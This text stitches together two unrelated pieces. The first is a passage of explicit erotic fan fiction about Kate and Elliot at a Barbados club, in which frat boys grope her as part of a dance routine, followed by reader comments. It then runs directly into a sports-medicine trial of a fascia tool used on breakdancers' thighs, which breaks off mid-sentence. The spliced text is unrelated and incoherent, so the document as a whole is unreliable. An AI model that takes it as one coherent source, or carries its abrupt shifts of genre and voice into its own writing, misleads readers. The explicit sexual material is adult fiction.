upperbody against his chest. Gimmie mo cash! Keeping my eyes closed I sense that one of the other frat boys has moved in front of me, sandwiching me back against Calvin and suddenly this doesn’t seem such a good idea. Hurry up, Elliot, how long are you going stand there gawking and doing nothing? TThe frat brothers are really going for it now, the new guy pushing his thigh deliberately between my legs as he holds my hips and Calvin thrusting at me from behind, his hands on my ribs. Then the swap hand positions and new guy has his hands on the sides of my breasts. My eyes fly open and Elliot’s glacial blues are blazing back at me. My hero is there, grinding into me and holding me in a man sandwich with Calvin K. I don’t want to enjoy this but it is kind of hot. The over-stimulated crowd is cheering us on, encouraging us to keep dancing. My two hunks are really moving on me, bumping, grinding and suddenly I am really nervous that Elliot might be willing to share me. Calvin’s hands are still firmly gripping my hips and he nuzzles into my neck forcing me to drop my head back on his shoulder. Elliot is pushing his pelvis into me, hitting my sex firmly with his erection with his hands grazing my aching breasts. He leans in and covers my mouth, sweeping his tongue through my mouth while Calvin continues to nuzzle at my neck, blowing gently in my ear. The other guys are clapping and cheering them on. Thankfully Elliot gives Calvin a look that makes him back off. “Did you like that baby?” Elliot is still wrapped around me, his lips have moved to my ear. “Does the idea of two guys turn you on?” Jesus, how do I answer that? Yes, I mean no, fuck. What does he want me to say? “Yes, that was hot and no, I don’t want to share you or be shared.” My husky response hangs in the air between us. “Mm, well judging from that scent I would say you fucking loved it.” His voice is harsh in my ear. Oh Shit. Is he mad at me? Next thing I know Elliot has pushed me down in a chair that one of the other frat boys has placed behind me. I am still in the middle of the dance floor but the crowd has cleared except for the frat boys and Elliot. The music changes to an updated hip hop version of Its Raining Men. Elliot places his hands on my hot flushed cheeks as the frat boys stalk around us in a seemingly random pattern to the music. What the hell is this? Every now and then one of them drapes a hand across my shoulders or touches my hair or turns to push a pelvis or a butt cheek into me. All the while Elliot stands there, moving his hips, legs apart, arms outstretched to hold my face, letting them grope me. Then they all line up in a v formation in front of me with Calvin in the front, Elliot to his right and three others all of equal good looks and similar build. Every Specimen! Tall, blonde, dark and lean Rough and tough and strong and mean. Calvin counts them in. “5,6,7,8” And then they start to move accenting every faux thunder clap in the music. A chasse to the left in synchronisation followed quickly by a swivel and some body popping. Facing away from me, they all place their hands on their butts then swipe their arms sharply out before shaking their asses rapidly. They turn back to the front and move into a semi circle around me crumping with pelvic and chest thrusts into my face. By this time my jaw has dropped to the floor. The routine is slick and polished and I can’t take my eyes off my man who in the midst of all this grinding testosterone is all serious, sultry and pouty and goddam sexy as hell. They drag step away from me and the group rotates so that Elliot faces me and while the others continue to dance for everyone else, his eyes stay firmly locked on me. They’re all hip hop and body popping with a whole heap of hip roll, crotch grabs and pelvic thrusts and then they break and head to various points of the floor to crump and thrust at any available woman who is daring enough to face them. The lines are about three or four deep. I bite my lip watching Elliot head for the bar, directly away from me while the others entice eager women around the edge of the dance floor and begin gyrating with them. If I had been paying attention would have seen money being tucked into various gaps in their clothing but I am still too focused on my boyfriend. Elliot turns suddenly to face me, whips his shirt over his head and comes sliding across the floor to me on his knees. He stops at my feet and lays back on the floor before shimmying up and jumping from his knees to his feet. The crowd is cheering and clapping and I now I notice women planting kisses and notes on the other frat boys. Elliot moves around the outside of my chair then stops and straddles my lap. His pelvis is grinding into my face and I can’t resist reaching up to grab his hips. Then he half lies over me, propping his arms on the chair and he starts to do a series of press ups on me that must look like he is humping me. His moves are so practiced and sensual it takes my breath away. This is my man and he is part of some exotic dance team? How the hell did I not know this? To my left Ethan is laughing at me and my eyes feel like they must be popping out of my head. Elliot’s six pack abs are tight and toned and slick with sweat. I rub my hands up his stomach and I know I’m wet with longing for him. Of course as I glance around the room I realize that I am probably not the only one creaming themselves over his moves. He looks at me all sexy with his serious pout. Shit this is seriously fucking hot. Elliot keeps grinding and humping a little longer then turns to wiggle his sweetly toned tush into my face for a few bars before turning and flicking open the button to his jeans. He takes my hand and slides it down the inside of his thighs then back up and he bucks against my hand as it reaches his crotch. What surprises me is that he isn’t really hard. How can he not be hard when I am squirming in my chair? Is that part of their training. Resisting erect! Then the boys all join him in the middle of the floor again in formation as they perform a final sequence of moves guaranteed to tempt the panties off any hot blooded woman and they all finish by dropping their jeans to the floor revealing, of all things, matching form fitting Calvin Klein boxer briefs. The crowd goes wild as they pull their jeans back on. They are all slapping each other on the back but Elliot walks straight over to me and pulls me up into a searing tongue thrashing kiss and this time he is rock hard by the end of it. “Enjoy the show baby.” His eyes are glistening with humor. “What the hell was that?” I demand, I don’t know whether to laugh or be pissed at him. Ethan comes over and joins us. “Bro that was amazing. I watched those women and they got so hot under the collar while you were doing that. Thanks for getting the room ready for the rest of us mere mortals to get some action.” He is laughing but looking around to see if he can get lucky. I don’t think that my brother needs any assistance picking up women but I can see what he means. The women here are extremely open now to any and all approaches. “I’ll see you guys back at the villa. You good baby girl?” He looks directly at me and I nod. Big brother first, stud second. He looks directly at Elliot, “You break her heart and I’ll have to break your arms man, no matter how cool you are. Laters.” His words to Elliot hold as much promise as threat and his protectiveness surprises me. He moves off to join Calvin and the boys. “I want to get you home, baby.” Elliot whispers into my ear. “Watching you on the dance floor made me want to fuck you hard.” “I thought we didn’t fuck and I am not sure I have forgiven you for cocktail chick. You have some explaining to do.” I dig a manicured finger into his still naked chest. It scratches him slightly and leaves a mark on his otherwise perfect skin. Then I look from Calvin to him and have an epiphany. OMG he manscapes! How did I not notice this before? He walks over to pick up his shirt and puts it back on then wraps an arm around me. We stop at a table outside the bar windows and perch on the tall chairs. A waitress comes over with a flirtatious smile for Elliot and deposits two glasses of beer in front of us. He ignores her and I want to scratch her eyes out. Mine, bitch, all mine. “Now talk Grey. What the hell was that?” I pin him with my stare giving him no wriggle room. He takes a long swallow of his drink then places his glass on the table. He looks at me as if he is considering where to start and then speaks. “You wanted to know about Sirens. Well, you’ve just seen what my involvement at Sirens was all about.” “What? You were a male stripper?” Fuck. That means he worked at Eros. How many women do I know have been to Eros for a girls night out? How many of my friends have seen Elliot up close and personal. Why the hell have I never been there? “Why? When?” “Calm down. When we were younger Christian got into trouble. He was 17 about to go off to college and I was 19 still in an apprenticeship. Christian used to get in a lot of fights, he was a really angry kid from the time he hit puberty and then suddenly about the time he turned 15 he started to turn a corner you know, like he really started to pull himself together with school and everything. For a couple of years there were no fights then one day I get a call and he is in trouble. The kind of trouble that requires a large sum of money. We couldn’t call Mom and Dad, by this stage they were kind of over our shit, you know. So I had to find a way to get a lot of cash. A guy I knew worked in Sirens as a waiter. He got me the job and it paid well. All I had to do was dance.” “So you became an exotic dancer. And the guys in there?” “My original crew. We still do the odd show for fun or charity but we really gave it up a few years back.” “When the business grew?” He nods. “So why are they here? In Barbados?” “They knew I was coming down here. That’s the crew that have been working in Haiti. When they heard we were going to be here they decided it would be fun to have their holiday in Barbados. You’re not angry are you?” I laugh. “With them, no. You, I’m not sure.” He looks crestfallen. “It’s okay. I’m not really mad, stunned, surprised, completely knocked out at your amazing moves but not mad. I was more worried about why you left the villa.” He runs his hand through his hair. “Shit, Kate, I don’t know. These last few days just feel like a fucking emotional overload. I needed to get away. Blow off some steam with the boys. I didn’t mean to worry you.” I’m kind of hurt that he couldn’t blow off steam with me. “Why didn’t you just tell me they were here? We don’t have to live in each others pockets. I would have understood.” Would you really Kate? “I was going to. I had it all set that I would show you tonight and tell you about Sirens. Hell, I even came down here last night to meet them and run the routine. Its just, today was so…” My hand closes over his. “It’s okay. Neither of us expected what happened today. So Ethan was right, he did see you last night.” “Yeah, I’m sorry I lied. I wanted it to be a surprise. You seemed so fucking worried about Sirens and I wanted to show you this so you would understand. At least I hoped you would.” “Mmm…understand is not really what springs to mind. My boyfriend was a male stripper…” I catch the look of dismay on his face, “…sorry, exotic dancer. That’s some heavy shit, Grey. And women, they have always thrown themselves at you like that when you dance? Like Miss Red in there?” He nods, “Yeah, pretty much. But that is what I was trying to tell you, baby. Fuck, we would get women in there from all walks of life and I won’t lie to you and say I didn’t score. But I turned down more than I ever took up. When the daughters and wives of my parents friends started to show up it was a double bind. They would proposition me and generally I would say no. But then they would tell everyone that they slept with me and I couldn’t deny it or they would let the world know what I was doing with my nights. I didn’t want Mom and Dad to know. It was easier just to back up the lie than to tell the truth and risk my folks finding out.” “The stories of your sexual success are greatly exaggerated huh?” I smile. “Well, yeah. Like I told you, I’m no saint but…” “I get it. But did you say wives?” “Yeah, fucked up, huh?” “Yeah, I reckon.” Just then the other guys wander out to join us. Calvin is the obvious leader and he smiles as he deposits two more drinks in front of us. “James, this is my girlfriend, Kate. Kate this is James, my business partner, Mike, TJ, and Will.” I shake hands with them all as they take a seat around the table. They are so friendly and they all lean in to kiss my cheek as they shake hands. They are all hot with great bodies and getting a lot of attention from inside the bar that they ignore. I can feel envious eyes on me as the women inside the bar look on. Miss Red wanders over and wraps her arm around Elliot’s shoulder. He greets her with a smile. “Stella, this is my girlfriend Kate.” In contrast to what I saw inside the bar earlier their body language now says that they really are just friends. There is a complete absence of sexual tension which is great. I won’t have to challenge her to a bitch-slapping fight or yell at Elliot about predatory ex-girlfriends. My heart is jumping for joy. “Girlfriend?” She gives a wide, open smile that reaches her eyes. “Since when do you do girlfriend? I thought you were gay.” The guys all laugh with her, completely relaxed. He picks up my hand and holds it. She reaches over to take my hand. “It’s really nice to finally meet you Kate.” “She’s mine. And I am very definitely hers.” Elliot doesn’t take his eyes off me placing a very gentle kiss on my hand that nets a whoop from the boys at the table as Stella grins at us. I don’t take my eyes off his and he bends in for a chaste kiss on the lips. He is branding me for these people. I understand this and I want the same. Mine. “Come on Stella, come dance with me.” TJ grabs her hand and pulls her inside She glances back but Elliot still hasn’t stopped looking at me. She gives me a conspiratorial wink. “Nice to meet you, Kate.” TJ wraps an arm around her and they laugh as they walk back into the club. “She’s nice. I like her. Is she TJ’s girlfriend?” A look passes between the boys. “No, she’s more a team mascot,” James replies. What the hell does that mean? “Guys, I am going to take this beautiful lady home. Thanks for the dance.” Elliot throws out to them without looking. “Sure thing Elliot, will we catch you guys around tomorrow?” Mike asks. “We’re heading over to Haiti the day after to get started on that shipment from Atlanta so we won’t be around after that. Liana wondered if you were going to come over and see the kids.” This comment has me wondering. “No promises guys. We might not surface too early tomorrow.” Elliot says and the table lets out a lecherous groan. “Laters, guys.” In that moment I see what these men mean to him. They are special in his life, good friends who have his back and have shared his dreams. “Laters.” I call out as we walk off down the road. He wraps his arm around my shoulder and gazes down at me, giving me a quick peck before we pick up the pace and head back to the villa. The lovemaking for the rest of the night is inventive and passionate. He is everything I have ever wanted and never knew how to wish for. He attends to my needs like they are his own and we fly over and over until the light starts to seep into our room. As the dawn starts to break we fall asleep in each others arms completely sated and my love replete. My dreams are full of hot male bodies which makes for an interesting late morning start. When I wake up Elliot is standing on the balcony talking on the phone. “Jesus, is Gail okay?…Fuck, what was she thinking…No, of course…Ana is coming back in tonight?…Yeah, look things will probably be fine…Disappeared…fuck…no, I don’t know. Look, I’m sure he is pretty bloody shaken by it but if he and Ana had a great time in Georgia, like you say, then perhaps this won’t be such a big deal…Yeah, well, I’m more worried about Gail. What a shitty fucking thing to have to go through…Look after her man. And give her my love… Sure call if you need anything.” Elliot turns to see me standing in the doorway. “What is it?” “One of Christian’s ex-subs tried to kill herself in his apartment yesterday.” Sasha!!! You have more writing talent in one single strand of hair…than all of the secret erotic romance writers in all of the Royal Family combined!!! And I am including Queen Elizabeth’s secret children who wrote prlifically… You are a Glorious talent! And This chapter? A Master/Mistress piece! Do NOT ever give up your dreams! :-* A change of name? I am intrigued. The dream is alive and well and thrilled that you would choose this particular chapter to comment upon. I do love those gorgeous men, wiggling their watsits and raising the temperature. As to Elizabeth’s secret children – this I shall have to research for my own morbid curiousity. 🙂 Hot, very very hot, i think i need a cold shower. 😉

- Original Research Article - Open Access - Published: Self-Myofascial Vibro-Shearing: a Randomized Controlled Trial of Biomechanical and Related Changes in Male Breakdancers Sports Medicine - Open volume 4, Article number: 13 (2018) 3426 Accesses 4 Citations 2 Altmetric - Abstract Background This randomized controlled trial explored the practicality and effectiveness of a novel tool-assisted self-help device, one that combines vibrational oscillation, leverage, and the shearing effect from the edges, for promoting meaningful changes in key biomechanical tissue indices and related parameters. Methods One hundred and thirteen male breakdancers were randomized to an intervention or control group. Individuals assigned to the intervention group performed the self-help treatment on the quadriceps and the iliotibial band of their right thighs for 8 min, while individuals assigned to the control condition merely sat quietly during this period. Various primary outcome measures (e.g., elasticity, stiffness, range of motion, pain pressure threshold sensitization, and blood flow) were assessed before and after the intervention for each participant, with position and posture being standardized throughout. Subjective sensations and a measure selected to assess for potential experimental demand effects, serving as secondary measures, were also administered pre- to post-treatment. Results Stiffness was significantly reduced for both structures (p < 0.001), elasticity and flexibility of the quadriceps were increased significantly (p < 0.001 for each), sensitization was significantly lessened (p < 0.001), and local temperatures increased to a significant degree as well (p < 0.001) when comparing change scores following application of the self-help tool on the treated thighs to those on the untreated thighs. Participants using the self-help tool reported their treated leg as being more relaxed, light, and stable. Conclusions The vibro-shearing manipulation with a muscle-fascia tool resulted in significant improvements in various objective mechanical tissue properties, range of motion, and pain desensitization in healthy, well-conditioned dancers. These promising effects for a new tool-assisted self-treatment indicate further basic investigations are warranted, as are pilot investigations with patient populations. Key Points Vibro-shearing self-manipulation with the Fascia-ReleaZer® is a technique that reduces myofascial stiffness and pain sensitization. The self-manipulation tool increases microcirculation, elasticity, and range of movement. The subjective parameters of lightness and relaxation increased significantly through the treatment. Background Self-myofascial release (SMR) is becoming increasingly popular both in the amateur and professional sports field. SMR is a type of myofascial release that is performed by individuals themselves, most often using a foam roller [1,2,3] or a roller massager [4,5,6]. SMR appears to have a wide range of effects, most typically increasing flexibility acutely [4,5,6] and chronically [7, 8] with respect to changes in joint range of motion (ROM), although it has also been utilized to reduce delayed onset muscle soreness (DOMS) [2, 6, 9], affect arterial and vascular endothelial function [3], and modulate autonomic nervous system activity [10]. More recently, therapeutic myofascial and soft tissue manipulation tools have incorporated devices that have firmer edges to increase leverage and/or vibration features to enhance effects. An evidence-based form of instrument-assisted soft tissue mobilization, called the Graston® Technique (GT), utilizes a stainless-steel tool to localize and treat soft tissue restrictions. Developers of the GT recommend that the edges of the instrument be prepared at a 30° to 60° angle to more effectively and efficiently address soft tissue lesions and fascial restrictions. Studies utilizing the GT have reported producing a localized inflammatory response, reducing scar tissue, and breaking down existing scar tissue in people with soft tissue restrictions [11, 12]. Vibration features have been used extensively since the beginning of the twentieth century in instrument-assisted techniques to mechanically stimulate myofascial tissue [13, 14]. Low-intensity vibratory massage (VM), with a 15–50-Hz frequency band, has been shown to increase oxygen uptake, blood and muscle oxidation, local and general blood circulation, local temperature in massaged tissues, and muscle enzyme activation. Other effects include marked general relaxation, relaxation of myofascial tissues, decrease of emotional tension, and a general sedative effect [15]. To date, no studies have investigated the value of adding a vibration component to the shearing effect of SMR tools. Shearing is defined as a mechanical force that acts on an area of skin in a direction parallel to the body’s surface. Shearing is affected by the amount of pressure exerted, the coefficient of friction between the materials contacting each other, and the extent to which the body makes contact with the support surface [16]. This study was designed to assess the clinical utility of a new self-help tool for treating myofascial tissue that combines a number of the aforementioned features—vibrational oscillation, leverage, and the vibro-shearing effect—in a novel self-help instrument called the Fascia-ReleaZer® (FR). This tool has the potential added advantage of having the user apply the desired pressure in the absence of external support, unlike foam rolling and related approaches that require the device to be pressed against a firm object. The specific aim of this study was to explore the practicality and preliminary effectiveness of this new self-help tool by examining biomechanical tissue changes and other associated effects when this device is used. We selected a sample of individuals, experienced breakdancers, known to be particularly well fit. This was done to minimize potential biasing effects and thus provide a strong test of the value of FR. In this investigation, we selected the quadriceps muscle (QM) and the iliotibial band (ITB) as our test targets (see below why these targets were specifically selected). Breakdancers, referred to as B-Boys within this community, were further specifically selected for participation in this exploratory investigation because the movement patterns in this dance style involve extremely strenuous physical activities, such as splits, spins, handstands, and tumbling, all varying in velocity, quality, and planes using all parts of the body fascia. Kicking of the legs and recruiting the myofascial tissues from the QM, as well as the ITB and the tensor fascia latae, produces the high velocity for the acrobatic maneuvers in breakdancing. All dance movements, such as jumping, spinning on the floor, or lifting, demand the perfect timing of the impulse, momentum, and rebound: the optimal timing in releasing the preloaded fascia [17, 18]. For an energetic and elastic movement, which is required in breakdancing, a dynamic catapult effect of the fascial fibers is necessary. Therefore, the elasticity of the fascial tissue is the key to its high capacity to store kinetic energy [19]. By addressing the inner body perspective, dance (breakdancing in particular) stimulates both the proprioception and interoception of the body. The highest density of proprioceptive and interoceptive receptors are found within the fascial tissue, because the fascial net plays an important role in the perception of inner sensations [20]. Methods Overview of Study Male breakdancers were randomly assigned to one of two experimental conditions: no-treatment control or a brief self-applied intervention using a specially designed myofascial manipulation tool. Various primary measures were taken from the right thighs of all dancers, with the intervention being applied to the right thigh only to the dancers assigned to the intervention group. A variety of primary outcome measures, described below, were collected from all dancers before and after intervention. Two final secondary measures were collected at pre- and post-treatment. Participants One hundred thirteen (N = 113) male breakdancers were recruited and randomized into an intervention (n = 56) and a control group (n = 55). All participants fulfilled the following criteria: (1) healthy condition, (2) no physical preloading or physical execution, (3) skinfold measures of body fat at the ITB with a maximum of 10 mm, (4) dancing breakdance for a minimum of 1 year, and (5) age over 18 years. Exclusion criteria consisted of the presence of acute or chronic injuries concerning the legs and the hip area, pain in the treatment area, and acute inflammation and degenerative neurological illnesses or scars in the measuring area. Inspection of Table 1 reveals the groups were comparable with respect to all measures used for study inclusion. Written informed consent was obtained for all procedures, with participants being free to withdraw at any time without penalty. Of the total who consented to participate, two withdrew (one from each condition), reporting they became dizzy while sitting for an extended period. The study was conducted in a manner consistent with the Declaration of Helsinki and was granted for approval by the Ethics Committee of the University of Tübingen. Procedure All participants were assessed with a common set of measures both prior to and following the time during which participants either received a brief intervention or sat and rested quietly for the same amount of time (control condition). Intervention Condition Dancers assigned to receive the intervention performed an 8-min self-help treatment on their right thighs with the Fascia-ReleaZer®. The right thigh was first lightly lubricated with a vaseline-neutral oil. The opposite side was not oiled as this might have effected changes in the tissue. A standardized protocol was developed for the self-help treatment, which consisted of three short and three long linear strokes on the quadriceps muscle (QM) followed by three short and three long linear strokes on the iliotibial band (ITB). This procedure was repeated until 8 min had elapsed, gauging the time by a stopwatch placed on the wrist of the participant. The intervention tool was held and applied at a 45° angle to the treated tissue (see Fig. 1f). Patients were instructed to apply a pressure intensity that they subjectively perceived to be equivalent to a rating ranging from 3 to 5 on a numerical scale where 10 was the maximal value. Protocol of assessments and self-treatment. a Finger-to-Floor Distance Test for the Hamstrings and Triceps Surae. b Passive Thomas Test for Hip flexors. c Objective biomechanical evaluation of tissues. d Pain Pressure Threshold (PPT) indicator of tissue sensitization. e Thermography, an indicator of micro-circulation. f Example of standardized self-treatment of the Iliotibial structures Control Condition Dancers assigned to the control condition were instructed to sit quietly in the standardized position and refrain from moving during the 8-min period when those in the intervention group applied the myofascial tool. Data Collection Position and Marking of the Measuring Points Position and posture were standardized for both groups, with participants being instructed to maintain the specified position and posture throughout. When necessary (which rarely occurred), they were corrected by the study examiners. Study position was controlled by having participants sit in a specific manner on a four-legged stool (58 cm length, 42 cm width, 43 cm height, UTTER IKEA). The back of the stool had contact with a flat wall. The lumbar spine of the participants had full contact with the wall, the pelvis was in a neutral position, and the participants were instructed to retain a straight posture. Both feet maintained full contact with the floor and were taped to the floor to help restrict any involuntary movement. The inside of the knees had full contact with the lateral sides of the stool. Both lower legs were attached with a strap to the front legs of the stool (see Fig. 1f). A standardized protocol for marking the measuring points was performed by the same study examiner (the second author). A line was drawn from the epicondylus lateralis parallel to the femur on the strongest embossment of the ITB. The area revealing the highest level of stiffness was palpated and marked in the most anterior quarter of the ITB. A vertical line was drawn over the QM to this measuring point of the ITB. From the middle of the patellae, a line was drawn parallel to the rectus femoris muscle. The crossing of the two lines was the measuring point of the QM. Primary Outcome Measures Objective measures were taken within multiple domains throughout the investigation in order to more fully explore and identify changes in response to our intervention, and these served as our primary measures. Assessors, all credentialed physical therapists, received 6 weeks of intensive training over the course of 14 pilot studies prior to conducting the assessments, with ongoing supervision by the first author provided throughout the investigation. All assessments were performed by the same study examiner (second author) and two further well-trained assessors, who met frequently during data collection to ensure continuity and prevent measurement drift. Biomechanical Tissue Changes Key measures within this domain were collected with the MyotonPRO (Myoton AS; Estonia) [21, 22]. The measurement probe (D = 3 mm) was placed perpendicularly on the pre-marked skin areas above the muscle being measured, QM and the ITB (see Fig. 1c). The device was then lowered into the measurement position and held steady while it automatically performed the predefined measurement series (five single measurements with a recording interval of 1 s for each measuring point, using the average for data analysis). The method of myometry developed for measuring superficial skeletal muscles consists of (a) creating a constant pre-compression 0.18 N over the area of 7.1 mm2, followed by a brief (15 ms) mechanical impulse of 0.4 N to the contact surface of the skin; (b) recording the response of the tissue in a form of damped oscillation that is registered by an accelerometer in a form of an oscillation acceleration graph; and (c) subsequently conducting signal processing and computing for the variables of interest. Of the five available variables, we chose the two most pertinent to our study aims—elasticity and dynamic stiffness. The logarithmic decrement of a tissue’s natural oscillation characterizes its elasticity, but more directly, it reflects the dissipation of the mechanical energy within an oscillation cycle, when tissues recover their shape after being deformed. Said another way, elasticity is the biomechanical property of a muscle that characterizes the ability to recover its initial shape after a contraction or removal of an external force of deformation. Elasticity is inversely proportional to the decrement. Therefore, as the decrement of a muscle decreases, the muscle elasticity increases. In theory, a decrement of 0 (zero) represents absolute elasticity. Elasticity is reported as the logarithmic decrement, while the inverse of elasticity is plasticity. Dynamic stiffness [N/m] is the biomechanical property of a muscle that characterizes the resistance to a contraction or to an external force that deforms its initial shape. In the case of overly high stiffness, a greater effort is required from the agonist muscle to stretch a stiff antagonist, which leads to an inefficient economy of movement (see Additional file 1, relationship of the displacement oscillation and oscillation velocity in relation to the oscillation acceleration). Range of Motion Three measures were collected with respect to this domain—the Modified Passive Thomas Test, Modified Thomas Test with Pressure—using a goniometer (KaWe Kirchner & Wilhelm, Germany), and the Modified Finger-Floor Distance Test—using a measuring tape. Modified Passive Thomas Test (MPTT) and Modified Thomas Test with Pressure (MPrTT) A standardized protocol was performed in order to obtain a value from the modified Thomas test. Study participants were asked to lie down on a table, with the left leg in knee flexion and then pulling this leg towards the chest. Participants were instructed to push the leg they were holding so far that the upper leg remained in full contact with the table. The angle of the knee was measured with a goniometer, providing a measure of the MPTT (see Fig. 1b). While in the same position, a measurement was taken with pressuring the lower leg into flexion until the first resistance was noticed, yielding scores for the MPrTT. All measurements taken with the goniometer were performed according to the technique described by Norkin and White [23]. Modified Finger-Floor Distance Test (MFFD) A MFFD test was applied according to the procedures developed by Magnusson et al. [24]. Participants were asked to stand on a footstool (34 cm length, 19 cm weight, 23 cm height), grab a wooden stick with both hands while keeping both thumbs closed and both knees completely extended, and, from there on, flex the trunk towards the floor, with head and arms relaxed (see Fig. 1a). The participants were instructed to bend one leg after each other. Final flexion position was indicated by a sensation of muscular tension that caused initial hamstring discomfort. Finger-floor distance (in centimeter) was quantified using a measuring tape, yielding the MFFD value. Pain Pressure Threshold The PainTest™ FPN 100 Algometer (Wagner Instruments, Greenwich, USA) is a device that measures deep pain pressure threshold (PPT) or tenderness resistance. More specifically, the algometer measures the pain pressure threshold when a particular site of the body is pressed with a rubber disk having an area of 1 cm2 [25, 26]. In the present study, the unit “kilogram” was used for quantifying PPT. The pressure algometer was placed over the marked measuring points of the QM only (see Fig. 1d). Study participants were extensively trained and instructed to verbally indicate the point at which point the pressure pain threshold that was steadily increased became “uncomfortable.” Higher pressure values thus indicate reduced pain pressure threshold sensitivity. Measurement of Tissue Temperature Two distinct measures of temperature were collected over the ITB to serve as proxies for superficial blood flow—ITB thermography and ITB thermometer. As little is known about the preferred approach for assessing this aspect, we opted to collect both for comparability and to provide a measure of quality control. ITB Thermography The FLIR ONE™ thermography camera (FLIR Systems, Gmbh, Frankfurt, Germany) is used to take thermographic pictures and differentiates the temperature with a color scale. A normal daylight photograph, simultaneously taken with every thermographic picture, is used for documentation purposes. The device consists of an attachment for the iPhone 5 and is used together with the FLIR ONE™ App. Its measuring sector ranges from − 20 to 120 °C, with a sensitivity of ± 0.1 °C (the smallest absolute amount of change that can be reliably detected). Changes in superficial temperature were recorded with this thermography camera, while aimed at the ITB measuring point. The position of the thermography camera was standardized by positioning the camera on a chair at a height of 48 cm (approximately at the position of the participant’s ITB) at a distance 60 cm away from the measuring chairs. Strips of tape were placed on the floor to mark the position of the chairs as well as the table for the thermography camera in order to standardize the distance. The sensor of the camera was directed towards the measuring point on the ITB in order to perform a spot measurement, and a calibration was performed before taking a picture (see Fig. 1e). The measuring values were recorded by the scientific assistant. ITB Thermometer A non-contact clinical thermometer (FT 90, Beurer, Ulm, Germany) was used to measure the superficial temperature for control of the thermography camera. Temperature values between 22 and 80 °C can be recorded with a sensitivity of ± 0.3 °C temperature units with this device. The thermometer was placed 2 to 3 cm in front of the measuring points at the ITB. The measuring values were recorded by the scientific assistant. Secondary Outcome Measures Two secondary measures (Physical Sensations Questionnaire and Modified Profile of Mood States) were administered pre- to post-treatment in order to assess reactions to the brief treatment and preliminarily determine if demand (or reactivity) effects might have influenced the findings. Physical Sensations Questionnaire (PSQ) This questionnaire was constructed by the investigators to inquire about the physical sensations experienced by participants pre- to post-intervention and was completed while standing on the right leg alone. All participants were asked to rate their subjective sensations of relaxation, lightness, strongness, and stability, on a scale that ranged from zero (“does not apply”) to ten (“does apply”) for each item. (No analyses were conducted to examine the psychometric properties of this investigator-created instrument.) Modified Profile of Mood States (POMS) Questionnaire The modified POMS was administered to all participants pre- to post-trial to permit us to assess potential influences due to mere participation alone (e.g., demand or reactivity effects). We selected a modified German short version [27] of the original “Profile of Mood States” [28], a standardized psychological test formulated to assess momentary mood states. The 19 items contained within the version we used inquire about varied momentary feelings of respondents, with each being rated on a numeric scale, from 1 to 7, with the values described as “Not at All” (1), “Very Poor,” “Poor,” “A Little,” “Moderately,” “Quite a Lot,” or “Extremely” (7). Five subscales are computed for analysis—sadness, despair, tiredness, positive mood, and anger. This measure has acceptable psychometric support (Cronbach’s alpha ranges from α = .83 to .94; factorial, differential, and construct validity are reported as acceptable as well). Overview of Data Analysis A series of t tests for independent groups was conducted for all 11 primary pre-treatment (baseline) values to assess equivalency of the two groups prior to intervention. This was followed by a multivariate analysis of variance (MANOVA) comparing the intervention (treated) and control groups with respect to all primary outcome measures (biomechanical tissue measures, range of motion, pain pressure threshold, and bloodflow) in one integrated analysis, using change scores (post-treatment minus pre-treatment values) as the unit for analysis in order to provide the most sensitive test of effects. A second MANOVA was conducted to address group differences with respect to the secondary outcome measures pertaining to perception of physical sensations and mood states, both collected prior to and at the end of the study (again using change score). MANOVA was chosen based on the recommendations of both Pallant [29] and Tabachnick and Fidell [30] that it is the most appropriate procedure to use when conducting analyses of variance with multiple dependent variables (DVs) as it can be used to detect which DVs are influenced by the manipulation. Multivariate analysis also protects against inflated type I error due to multiple tests, especially when DVs are correlated (which was the case here). The inclusion of covariates was judged unnecessary because only one primary outcome measure revealed a significant difference between groups (to be discussed later). Prior to the MANOVA analyses, data were screened in SPSS 24 to ensure that the assumptions for this approach were met, following recommendations by Pallant [29] and Tabachnick and Fidell [30]. Univariate outliers were screened by variable, with outliers classified as those falling above or below 3 standard deviations of the mean. Multivariate outliers were screened separately for each planned analysis by conducting a linear regression with participant ID as the independent variable (IV) and all primary outcome dependent variables (DVs) for the planned analysis as the regression DVs. Outliers were classified as those with Mahalanobis’ distances falling outside of the chi-square threshold, consistent with the recommendations of Pallant [29] and Tabachnick and Fidell [30]. Both univariate and multivariate outliers were removed from analysis by applying these tests, and the resulting sample size is reported separately for each MANOVA analysis. As identified outliers varied as a function of each major analysis, the sample sizes reported per condition in the data table summaries vary somewhat. Results Table 2 presents the findings when comparing pre-treatment values for all primary dependent measures for those serving as controls versus those receiving treatment. All but one test (that for the thermography measure) revealed no significant differences. A follow-up two-way ANOVA (period: pre- versus post-test × experimental condition: control versus intervention) for this measure revealed the difference at pre-treatment, although statistically significant, was substantially smaller in magnitude than the difference at post-treatment. Consequently, we opted not to employ any corrections for this, such as covariate analyses. Results for both MANOVAs demonstrated significant multivariate differences based on Pillai’s trace, as reported in Table 3. Pillai’s trace is reported in lieu of Wilks’ lambda as recommended when assumptions, in this case a significant Box’s test, are violated [29]. Given significant findings were obtained for both multivariate tests, tests of between-participant effects were then investigated for each MANOVA to determine more precisely the sources of the significance. The first MANOVA revealed a significant difference between groups for all of the primary outcome post-test minus pre-test difference scores, aside from elasticity in the ITB. Effect sizes based on partial eta squared, using Cohen’s [31] benchmarks of .01, .06, and .14 for small, medium, and large effects, respectively, indicated large effects for biomechanical tissue changes (with the exception of elasticity in the ITB), large effects for range of motion, medium to large effects for PPT, and large effects for blood flow (see Table 4, group differences in right thigh change from pre- to post-test by condition). The second and final MANOVA, again using change scores as the DV, revealed a significant difference between groups on PSQ relaxation and lightness, with partial η2 indicating large effect sizes for both measures. Results were not significant for either stability or strongness, although mean differences, along with a p value of .06, indicate a potential difference between groups on stability. Minimal differences were found for the POMS measures, with only POMS tiredness demonstrating a significant small to medium effect (see Table 5, group differences in secondary outcome measures from pre- to post-test comparing those assigned to the control condition versus the intervention condition). Discussion The main aim of the present study was to determine whether meaningful changes would occur in objective mechanical tissue properties and related measures when young, healthy breakdancers applied a self-help treatment with a muscle fascia tool. After 8 min of use, elasticity increased in the quadriceps, stiffness (for the QM and the ITB) and pain sensitivity decreased, ROM improved for the QM and hamstrings, and local temperature values increased (reflecting improved blood flow). Although the intervention was very brief in duration, some differences were found with respect to perceived sensations, all of which favored those receiving the intervention. The absence of major differences on the POMS between those dancers assigned to the intervention condition and those assigned to the control condition suggests the observed findings are unlikely to have occurred due to participants’ awareness of them being observed or taking part in an experiment (i.e., demand or reactivity effects). Our findings are further strengthened by the fact that the demographic data of both groups were similar and comparable. The standard deviations for age, size, weight, training experience, training intensity, and training duration were small. Further, measurements of improvement were fairly consistent across all parameters for the treated legs 